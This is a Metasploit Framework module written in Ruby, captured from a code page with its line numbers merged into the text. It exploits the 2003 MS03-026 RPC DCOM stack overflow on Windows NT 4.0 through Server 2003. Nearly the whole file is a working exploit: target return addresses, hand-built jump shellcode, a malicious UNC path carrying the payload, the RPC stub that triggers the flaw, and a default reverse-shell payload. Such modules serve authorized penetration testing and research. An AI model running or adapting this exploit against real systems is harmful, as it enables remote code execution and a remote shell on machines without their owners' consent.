Path: blob/master/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
32411 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS03-026 Microsoft RPC DCOM Interface Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the RPCSS service, this vulnerability17was originally found by the Last Stage of Delirium research group and has been18widely exploited ever since. This module can exploit the English versions of19Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)20},21'Author' => [ 'hdm', 'spoonm', 'cazz' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2003-0352' ],25[ 'OSVDB', '2100' ],26[ 'MSB', 'MS03-026' ],27[ 'BID', '8205' ],28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32'PAYLOAD' => 'windows/shell/reverse_tcp'33},34'Payload' => {35'Space' => 880,36'MinNops' => 300,37'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",38'StackAdjustment' => -350039},40'Targets' => [41# Target 0: Universal42[43'Windows NT SP3-6a/2000/XP/2003 Universal',44{45'Platform' => 'win',46'Rets' =>47[480x77f33723, # Windows NT 4.0 SP6a (esp)490x7ffde0eb, # Windows 2000 writable address + jmp+0xe0500x010016c6, # Windows 2000 Universal (ebx)510x01001c59, # Windows XP SP0/SP1 (pop pop ret)520x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)530x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll540x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll55]56},57],58],59'Notes' => {60'Stability' => [ CRASH_SERVICE_DOWN ],61'SideEffects' => [ IOC_IN_LOGS ],62'Reliability' => [ REPEATABLE_SESSION ]63},64'DefaultTarget' => 0,65'DisclosureDate' => '2003-07-16'66)67)68end6970# don't bother with this module for autoexploitation, it creates71# false-positives on newer systems.72def autofilter73false74end7576def check77begin78connect79rescue Rex::Proto::SMB::Exceptions::ErrorCode => e80return CheckCode::Safe("SMB error: #{e.message}")81end8283handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])8485begin86dcerpc_bind(handle)87rescue Rex::Proto::SMB::Exceptions::ErrorCode => e88return CheckCode::Safe("SMB error: #{e.message}")89end9091CheckCode::Detected92end9394def exploit95connect96print_status("Trying target #{target.name}...")9798handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])99100print_status("Binding to #{handle} ...")101102begin103dcerpc_bind(handle)104rescue Rex::Proto::SMB::Exceptions::ErrorCode => e105fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")106end107108# Carefully create the combination of addresses and code for cross-os exploitation109xpseh = rand_text_alphanumeric(360, payload_badchars)110111# Jump to [esp-4] - (distance to shellcode)112jmpsc =113"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]114"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)115Rex::Arch::X86.jmp_reg('eax') # jmp eax116117# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!118jmpsc2k3 =119"\x8b\x45\x30" + # mov eax,[ebp+0x30]120"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)121Rex::Arch::X86.jmp_reg('eax') # jmp eax122123# Windows 2003 added by spoonm124xpseh[246 - jmpsc2k3.length, jmpsc2k3.length] = jmpsc2k3125xpseh[246, 2] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")126xpseh[250, 4] = [ target['Rets'][4] ].pack('V')127128xpseh[306, 2] = Rex::Arch::X86.jmp_short('$+8')129xpseh[310, 4] = [ target['Rets'][3] ].pack('V')130xpseh[314, jmpsc.length] = jmpsc131132#133# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both134# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4135# HD wrote NT 4.0 SP6a, and it's off in a different place136#137# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:138# (hopefully I'm accurate, this is from my memory...)139#140# |---pop pop ret-------- --eax---|141# V | | V142# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]143# 4 4 4 5 5144# | ^145# --------------------------------------------------|146# The jmpback's all are 5 byte backwards jumps into our shellcode that147# sits just below these overwrites...148#149150nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +151rand_text(2, payload_badchars)152153nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')154nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')155ntshiz =156nt4sp3jmp +157[ target['Rets'][6] ].pack('V') +158[ target['Rets'][5] ].pack('V') +159nt4sp5jmpback +160nt4sp3jmpback161162# Pad to the magic value of 118 bytes163ntshiz += rand_text(118 - ntshiz.length, payload_badchars)164165# Create the evil UNC path used in the overflow166uncpath =167Rex::Text.to_unicode('\\\\') +168make_nops(32) +169170# When attacking NT 4.0, jump over 2000/XP return171Rex::Arch::X86.jmp_short(16) +172Rex::Arch::X86.jmp_short(25) +173[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)174[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)175[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0176make_nops(88) +177Rex::Arch::X86.jmp_short(4) +178rand_text(4, payload_badchars) +179make_nops(8) +180Rex::Arch::X86.jmp_short(4) +181Rex::Arch::X86.jmp_short(4) +182make_nops(4) +183Rex::Arch::X86.jmp_short(4) +184rand_text(4, payload_badchars) +185payload.encoded +186ntshiz +187xpseh +188Rex::Text.to_unicode("\\\x00")189190# This is the rpc cruft needed to trigger the vuln API191stubdata =192NDR.short(5) +193NDR.short(1) +194NDR.long(0) +195NDR.long(0) +196rand_text(16) +197NDR.long(0) +198NDR.long(0) +199NDR.long(0) +200NDR.long(0) +201NDR.long(0) +202NDR.long(rand(0xFFFFFFFF)) +203NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +204NDR.long(0) +205NDR.long(rand(0xFFFFFFFF)) +206NDR.long(rand(0xFFFFFFFF)) +207NDR.long(1) +208NDR.long(rand(0xFFFFFFFF)) +209NDR.long(1) +210NDR.long(rand(0xFFFFFFFF)) +211NDR.long(rand(0xFFFFFFFF)) +212NDR.long(rand(0xFFFFFFFF)) +213NDR.long(rand(0xFFFFFFFF)) +214NDR.long(1) +215NDR.long(1) +216NDR.long(rand(0xFFFFFFFF))217218print_status("Calling DCOM RPC with payload (#{stubdata.length} bytes) ...")219220begin221dcerpc_call(0, stubdata, nil, false)222rescue StandardError => e223raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')224end225226handler227disconnect228end229end230231232